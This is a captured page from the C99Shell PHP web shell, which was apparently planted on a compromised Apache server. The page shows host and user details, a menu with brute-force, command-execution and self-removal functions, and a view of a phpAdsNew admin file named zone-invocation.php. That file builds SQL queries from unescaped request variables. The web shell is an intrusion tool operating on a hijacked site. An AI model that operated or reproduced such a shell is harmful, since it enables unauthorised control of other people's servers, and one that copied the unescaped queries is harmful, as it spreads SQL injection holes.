!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/phpads/admin/   drwxr-xr-x
Free 3.96 GB of 27.03 GB (14.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     zone-invocation.php (6.33 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php // $Revision: 1.26 $

/************************************************************************/
/* phpAdsNew 2                                                          */
/* ===========                                                          */
/*                                                                      */
/* Copyright (c) 2001 by Niels Leenheer <niels@creatype.nl              */
/* http://sourceforge.net/projects/phpadsnew                            */
/*                                                                      */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License.       */
/************************************************************************/



// Include required files
require ("config.php");
require (
"lib-statistics.inc.php");
require (
"lib-invocation.inc.php");


// Security check
phpAds_checkAccess(phpAds_Admin+phpAds_Affiliate);



/*********************************************************/
/* Affiliate interface security                          */
/*********************************************************/

if (phpAds_isUser(phpAds_Affiliate))
{
    
$result = phpAds_dbQuery("
        SELECT
            affiliateid
        FROM
            "
.$phpAds_config['tbl_zones']."
        WHERE
            zoneid = $zoneid
        "
) or phpAds_sqlDie();
    
$row = phpAds_dbFetchArray($result);
    
    if (
$row["affiliateid"] == '' || phpAds_getUserID() != $row["affiliateid"])
    {
        
phpAds_PageHeader("1");
        
phpAds_Die ($strAccessDenied, $strNotAdmin);
    }
    else
    {
        
$affiliateid = $row["affiliateid"];
    }
}



/*********************************************************/
/* HTML framework                                        */
/*********************************************************/

$extra = '';

$res = phpAds_dbQuery("
    SELECT
        *
    FROM
        "
.$phpAds_config['tbl_zones']."
    WHERE
        affiliateid = "
.$affiliateid."
    "
) or phpAds_sqlDie();

while (
$row = phpAds_dbFetchArray($res))
{
    if (
$zoneid == $row['zoneid'])
        
$extra .= "&nbsp;&nbsp;&nbsp;<img src='images/box-1.gif'>&nbsp;";
    else
        
$extra .= "&nbsp;&nbsp;&nbsp;<img src='images/box-0.gif'>&nbsp;";
    
    
$extra .= "<a href='zone-invocation.php?affiliateid=".$affiliateid."&zoneid=".$row['zoneid']."'>".phpAds_buildZoneName ($row['zoneid'], $row['zonename'])."</a>";
    
$extra .= "<br>";
}

$extra .= "<img src='images/break.gif' height='1' width='160' vspace='4'><br>";


if (
phpAds_isUser(phpAds_Admin))
{
    
$extra .= "<form action='zone-modify.php'>";
    
$extra .= "<input type='hidden' name='zoneid' value='$zoneid'>";
    
$extra .= "<input type='hidden' name='returnurl' value='zone-invocation.php'>";
    
$extra .= "<br><br>";
    
$extra .= "<b>$strModifyZone</b><br>";
    
$extra .= "<img src='images/break.gif' height='1' width='160' vspace='4'><br>";
    
$extra .= "<img src='images/icon-move-zone.gif' align='absmiddle'>&nbsp;$strMoveTo<br>";
    
$extra .= "<img src='images/spacer.gif' height='1' width='160' vspace='2'><br>";
    
$extra .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    
$extra .= "<select name='moveto' style='width: 110;'>";
    
    
$res = phpAds_dbQuery("SELECT * FROM ".$phpAds_config['tbl_affiliates']." WHERE affiliateid != ".$affiliateid) or phpAds_sqlDie();
    while (
$row = phpAds_dbFetchArray($res))
        
$extra .= "<option value='".$row['affiliateid']."'>".phpAds_buildAffiliateName($row['affiliateid'], $row['name'])."</option>";
    
    
$extra .= "</select>&nbsp;<input type='image' src='images/".$phpAds_TextDirection."/go_blue.gif'><br>";
    
$extra .= "<img src='images/break.gif' height='1' width='160' vspace='4'><br>";
    
$extra .= "<img src='images/icon-recycle.gif' align='absmiddle'>&nbsp;<a href='zone-delete.php?affiliateid=$affiliateid&zoneid=$zoneid&returnurl=zone-index.php'".phpAds_DelConfirm($strConfirmDeleteZone).">$strDelete</a><br>";
    
$extra .= "</form>";
    
    
    
$extra .= "<br><br><br>";
    
$extra .= "<b>$strShortcuts</b><br>";
    
$extra .= "<img src='images/break.gif' height='1' width='160' vspace='4'><br>";
    
$extra .= "<img src='images/icon-affiliate.gif' align='absmiddle'>&nbsp;<a href=affiliate-edit.php?affiliateid=$affiliateid>$strAffiliateProperties</a><br>";
    
$extra .= "<img src='images/break.gif' height='1' width='160' vspace='4'><br>";
    
$extra .= "<img src='images/icon-statistics.gif' align='absmiddle'>&nbsp;<a href=stats-affiliate-zones.php?affiliateid=$affiliateid>$strStats</a><br>";
    
$extra .= "<img src='images/break.gif' height='1' width='160' vspace='4'><br>";
    
    
phpAds_PageHeader("4.2.3.5", $extra);
        echo
"<img src='images/icon-affiliate.gif' align='absmiddle'>&nbsp;".phpAds_getAffiliateName($affiliateid);
        echo
"&nbsp;<img src='images/".$phpAds_TextDirection."/caret-rs.gif'>&nbsp;";
        echo
"<img src='images/icon-zone.gif' align='absmiddle'>&nbsp;<b>".phpAds_getZoneName($zoneid)."</b><br><br><br>";
        
phpAds_ShowSections(array("4.2.3.2", "4.2.3.3", "4.2.3.4", "4.2.3.5"));
}
else
{
    if (
phpAds_isAllowed(phpAds_EditZone)) $sections[] = "2.1.2";
    if (
phpAds_isAllowed(phpAds_LinkBanners)) $sections[] = "2.1.3";
    
$sections[] = "2.1.4";
    
$sections[] = "2.1.5";
        
    
phpAds_PageHeader("2.1.5");
        echo
"<img src='images/icon-affiliate.gif' align='absmiddle'>&nbsp;".phpAds_getAffiliateName($affiliateid);
        echo
"&nbsp;<img src='images/".$phpAds_TextDirection."/caret-rs.gif'>&nbsp;";
        echo
"<img src='images/icon-zone.gif' align='absmiddle'>&nbsp;<b>".phpAds_getZoneName($zoneid)."</b><br><br><br>";
        
phpAds_ShowSections($sections);
}



/*********************************************************/
/* Main code                                             */
/*********************************************************/

$res = phpAds_dbQuery("
    SELECT
        *
    FROM
        "
.$phpAds_config['tbl_zones']."
    WHERE
        zoneid = $zoneid
    "
) or phpAds_sqlDie();

if (
phpAds_dbNumRows($res))
{
    
$zone = phpAds_dbFetchArray($res);
    
    
$extra = array('affiliateid' => $affiliateid,
                   
'zoneid' => $zoneid,
                   
'what' => 'zone:'.$zoneid,
                   
'width' => $zone['width'],
                   
'height' => $zone['height']
    );
    
    
phpAds_placeInvocationForm($extra, true);
}


/*********************************************************/
/* HTML framework                                        */
/*********************************************************/

phpAds_PageFooter();


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0038 ]--